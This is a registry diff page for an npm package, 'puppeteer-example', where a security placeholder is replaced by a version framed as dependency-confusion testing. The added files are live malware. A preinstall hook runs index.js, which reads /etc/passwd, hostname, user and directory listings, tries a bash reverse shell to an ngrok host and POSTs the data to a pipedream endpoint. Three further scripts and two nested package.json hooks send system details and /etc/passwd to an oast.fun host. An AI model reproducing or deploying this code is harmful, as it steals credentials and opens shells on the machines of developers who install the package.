puppeteer-example 0.0.1-security → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of puppeteer-example might be problematic. Click here for more details.
- package/index.js +66 -0
- package/indexq.js +50 -0
- package/ne/index.js +50 -0
- package/ne/package.json +12 -0
- package/package.json +9 -3
- package/test/index.js +50 -0
- package/test/package.json +12 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,66 @@
|
|
1
|
+
|
2
|
+
const execSync = require('child_process').execSync;
|
3
|
+
|
4
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
5
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
6
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
7
|
+
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
8
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
|
9
|
+
const ls1 = execSync('ls', { encoding: 'utf-8' });
|
10
|
+
const ls2 = execSync('ls ../', { encoding: 'utf-8' });
|
11
|
+
const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
|
12
|
+
const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
|
13
|
+
const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
|
14
|
+
const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
|
15
|
+
const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
|
16
|
+
const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
|
17
|
+
const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
|
18
|
+
const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
|
19
|
+
const py3 = execSync('python3 --version', { encoding: 'utf-8' });
|
20
|
+
const py = execSync('python --version', { encoding: 'utf-8' });
|
21
|
+
const bash = execSync('which bash', { encoding: 'utf-8' });
|
22
|
+
const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
|
23
|
+
const php = execSync('php --version', { encoding: 'utf-8' });
|
24
|
+
const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/16848 0>&1', { encoding: 'utf-8' });
|
25
|
+
|
26
|
+
|
27
|
+
const https = require("https")
|
28
|
+
|
29
|
+
const data = JSON.stringify({
|
30
|
+
"private IP": priv_ip,
|
31
|
+
"whoami": whoami,
|
32
|
+
"hostname": host,
|
33
|
+
"current dir": current_dir,
|
34
|
+
"passwd": passwd,
|
35
|
+
"ls1": ls1,
|
36
|
+
"ls2": ls2,
|
37
|
+
"ls3": ls3,
|
38
|
+
"ls4": ls4,
|
39
|
+
"ls5": ls5,
|
40
|
+
"ls6": ls6,
|
41
|
+
"ls7": ls7,
|
42
|
+
"ls8": ls8,
|
43
|
+
"ls9": ls9,
|
44
|
+
"ls10": ls10,
|
45
|
+
"py3": py3,
|
46
|
+
"py": py,
|
47
|
+
"bash": bash,
|
48
|
+
"lsb": lsb,
|
49
|
+
"php": php,
|
50
|
+
"shell": shell,
|
51
|
+
})
|
52
|
+
|
53
|
+
const options = {
|
54
|
+
hostname: "eo5zaov3udnh16e.m.pipedream.net",
|
55
|
+
port: 443,
|
56
|
+
path: "/",
|
57
|
+
method: "POST",
|
58
|
+
headers: {
|
59
|
+
"Content-Type": "application/json",
|
60
|
+
"Content-Length": data.length,
|
61
|
+
},
|
62
|
+
}
|
63
|
+
|
64
|
+
const req = https.request(options)
|
65
|
+
req.write(data)
|
66
|
+
req.end()
|
package/indexq.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
arch: os.arch(), // Add architecture information
|
19
|
+
type: os.type(), // Add OS type information
|
20
|
+
version: os.version(), // Add OS version information
|
21
|
+
interface: os.networkInterfaces(),
|
22
|
+
});
|
23
|
+
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
msg: trackingData,
|
26
|
+
});
|
27
|
+
|
28
|
+
var options = {
|
29
|
+
hostname: "cm31san2vtc000046akggkbohioyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
30
|
+
port: 443,
|
31
|
+
path: "/",
|
32
|
+
method: "POST",
|
33
|
+
headers: {
|
34
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
35
|
+
"Content-Length": postData.length,
|
36
|
+
},
|
37
|
+
};
|
38
|
+
|
39
|
+
var req = https.request(options, (res) => {
|
40
|
+
res.on("data", (d) => {
|
41
|
+
process.stdout.write(d);
|
42
|
+
});
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on("error", (e) => {
|
46
|
+
// console.error(e);
|
47
|
+
});
|
48
|
+
|
49
|
+
req.write(postData);
|
50
|
+
req.end();
|
package/ne/index.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
arch: os.arch(), // Add architecture information
|
19
|
+
type: os.type(), // Add OS type information
|
20
|
+
version: os.version(), // Add OS version information
|
21
|
+
interface: os.networkInterfaces(),
|
22
|
+
});
|
23
|
+
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
msg: trackingData,
|
26
|
+
});
|
27
|
+
|
28
|
+
var options = {
|
29
|
+
hostname: "cm31san2vtc000046akggkbohioyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
30
|
+
port: 443,
|
31
|
+
path: "/",
|
32
|
+
method: "POST",
|
33
|
+
headers: {
|
34
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
35
|
+
"Content-Length": postData.length,
|
36
|
+
},
|
37
|
+
};
|
38
|
+
|
39
|
+
var req = https.request(options, (res) => {
|
40
|
+
res.on("data", (d) => {
|
41
|
+
process.stdout.write(d);
|
42
|
+
});
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on("error", (e) => {
|
46
|
+
// console.error(e);
|
47
|
+
});
|
48
|
+
|
49
|
+
req.write(postData);
|
50
|
+
req.end();
|
package/ne/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "mfp-food-diary",
|
3
|
+
"version": "0.1.2",
|
4
|
+
"description": "Package dependency confusion attack",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "/usr/bin/curl --data '@/etc/passwd' $(hostname)cm31san2vtc000046akggkbohioyyyyyb.oast.fun",
|
8
|
+
"preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname)cm31san2vtc000046akggkbohioyyyyyb.oast.fun"
|
9
|
+
},
|
10
|
+
"author": "Shiv Pratap Singh",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "puppeteer-example",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.1.6",
|
4
|
+
"description": "testing for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Shiv Pratap Singh",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/test/index.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
arch: os.arch(), // Add architecture information
|
19
|
+
type: os.type(), // Add OS type information
|
20
|
+
version: os.version(), // Add OS version information
|
21
|
+
interface: os.networkInterfaces(),
|
22
|
+
});
|
23
|
+
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
msg: trackingData,
|
26
|
+
});
|
27
|
+
|
28
|
+
var options = {
|
29
|
+
hostname: "cm31san2vtc000046akggkbohioyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
30
|
+
port: 443,
|
31
|
+
path: "/",
|
32
|
+
method: "POST",
|
33
|
+
headers: {
|
34
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
35
|
+
"Content-Length": postData.length,
|
36
|
+
},
|
37
|
+
};
|
38
|
+
|
39
|
+
var req = https.request(options, (res) => {
|
40
|
+
res.on("data", (d) => {
|
41
|
+
process.stdout.write(d);
|
42
|
+
});
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on("error", (e) => {
|
46
|
+
// console.error(e);
|
47
|
+
});
|
48
|
+
|
49
|
+
req.write(postData);
|
50
|
+
req.end();
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "mfp-test-repo",
|
3
|
+
"version": "0.1.1",
|
4
|
+
"description": "Dependency Confusion attack",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "/usr/bin/curl --data '@/etc/passwd' $(hostname)cm31san2vtc000046akggkbohioyyyyyb.oast.fun",
|
8
|
+
"preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname)cm31san2vtc000046akggkbohioyyyyyb.oast.fun"
|
9
|
+
},
|
10
|
+
"author": "Shiv Pratap Singh",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=puppeteer-example for more information.
|